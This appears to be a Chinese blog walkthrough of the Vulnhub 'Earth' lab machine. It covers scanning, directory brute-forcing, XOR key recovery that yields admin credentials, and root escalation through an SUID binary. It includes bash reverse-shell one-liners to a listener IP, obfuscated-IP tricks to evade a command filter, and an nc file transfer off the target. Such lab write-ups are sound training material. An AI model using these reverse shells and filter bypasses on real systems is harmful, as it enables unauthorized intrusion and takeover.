1.資訊收集
1.1找到目標主機ip
vulnhub靶場通用的技巧 這里我們靶場是nat模式的 所以肯定就是在我們自己設定的一個網段范圍內,我這里nat本機的地址是10.1.1.1
所處的網段就是10.1.1.0了
所以我們直接上工具掃 可以nmap 10.1.1.0/24
不過速度較慢 所以我們不推薦
這里可以用kali的 arp-scan (使用arp協議探測)

直接arp-scan l就行了

這里顯然就是10.1.1.108
當然也可以用ping命令 或者goby等等 方法很多 根據情況來用
1.2nmap掃描目標
對目標主機進行全方位掃描
nmap -T4 -A 10.1.1.108

根據掃描資訊我們可以知道
目標開啟了 80/443/22埠
22埠ssh 是公私鑰連接 所以無法爆破
利用ip分別訪問80/443(https)埠


基本無果
這里先擱置,當然如果想繼續的話可以指紋識別/后臺爆破 這兩種思路
仔細觀察nmap掃描結果可以發現

有兩條dns決議記錄
在本地hosts檔案中加入決議記錄
vim /etc/hosts

然后分別訪問 兩個域名 (https)
逐一訪問

這個看起來像個加密的東東
然后

1.3目錄爆破
然后就是路徑爆破,找找后臺或者敏感資訊泄露什么的
這里kali可以用自帶的dirb

通過默認字典我們掃到了一些東西
對于admin后臺 我們可以嘗試暴力破解、SQL注入均無果
所以我們訪問一下掃到的 robots.txt

自然的我們訪問下最下面的這個檔案
后綴名這里可以fuzz
最后測驗出是txt檔案

測驗安全訊息系統注意事項:
*使用XOR加密作為演算法,在RSA中使用應該是安全的,
*地球已確認他們已收到我們發送的資訊,
*testdata.txt 用于測驗加密,
*terra 用作管理門戶的用戶名,
去做:
*我們如何安全地將每月的密鑰發送到地球? 或者我們應該每周更換鑰匙?
*需要測驗不同的密鑰長度以防止暴力破解, 鑰匙應該多長時間?
*需要改進訊息界面和管理面板的界面,目前非常基礎,
我的理解,總結一下就是y星人用xor加密傳輸資料,然后給了一個terra的管理賬號 那肯定是要密碼了,然后根據

剛開始有幾條加密的資料 也就是異或后的資料 所以很自然我們選擇用Previous Messages來對testdata.txt 進行xor運算 從而得到密鑰
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))
這個是網上的py腳本
這個腳本抄的 就不多解釋了 然后快進到解出資料
- 解出是16進制的資料
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
- 轉一下字串

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
都是一些重復的password
所以得到了一個高權限用戶:
username:terra
password:earthclimatechangebad4humans
2.漏洞利用
然后轉入我們之前掃到的登錄界面進行登錄:

登錄之后是一個命令執行,簡單執行幾個命令


-
這里可以通過
find / -name "*flag*"
尋找flag,然后發現會一個user的flag和一個root的flag ,而我們需要查看root的flag 所以就有了下面的提權內容
2.1反彈shell
- 首先建立一個監聽(這里埠設定為6666)
nc -lvvp 6666
- linux下利用bash反彈 shell
bash -i >&/dev/tcp/10.1.1.20/6666 0>&1

這里反彈shell的時候碰到了過濾條件,根據網上大佬的決議說是過濾了ip(正則方式),當然如果我們黑盒的話也可以fuzz出來
這里我直接放出原始碼,在/var/earth_web/secure_message/forms.py里面
當然我們本次的實驗web也都能在/var/earth_web下找到

所以這里繞過方式簡單舉例兩種:
- ip轉int
bash -i >&/dev/tcp/167837972/6666 0>&1

- 16進制繞過
bash -i >&/dev/tcp/0x0a.0x01.0x01.0x14/6666 0>&1
- 一些其他思路:目標有python環境 繞過前端使用python的反彈shell
2.2提權
連接上shell

這里我們是apache用戶 沒有root權限 不能查看root目錄下的flag
所以想辦法提權
這里利用suid提權,首先查找具有root的s權限的命令
find / -perm -u=s -type f 2>/dev/null

沒有網上已知的容易提權的命令 但是觀察發現有一個reset_root命令,運行嘗試一下
- ps:可以用strings命令查看一下/usr/bin/reset_root

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

所以是運行的時候出錯了?讓我們debug一下?
利用nc把檔案傳到本地(因為我們要用strace命令除錯,靶機中沒有)
- 本地監聽并且接收檔案
nc -lvvp 1234>/tmp/reset_root_test
- 靶機發送檔案
nc 10.1.1.20 1234</usr/bin/reset_root
然后本地打開除錯,如果權限不夠的話簡單粗暴給個權限
chmod 777 /tmp/reset_root_test

簡單除錯命令執行過后發現是由于沒有這三個檔案夾然后報的錯,簡單在靶機中find后沒發現,所以嘗試在靶機中建立相應的檔案

這里我選擇了創建檔案夾 理論上說創建檔案也是可以的,然后再執行reset_root就發現重置了密碼Earth
-
切換為root
-
su root

- 查看目錄,得到flag
ls -al /root
cat /root/root_flag.txt

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/455585.html
標籤:其他
上一篇:Vulnhub 之 Earth
下一篇:記一節有關密碼學承諾的課
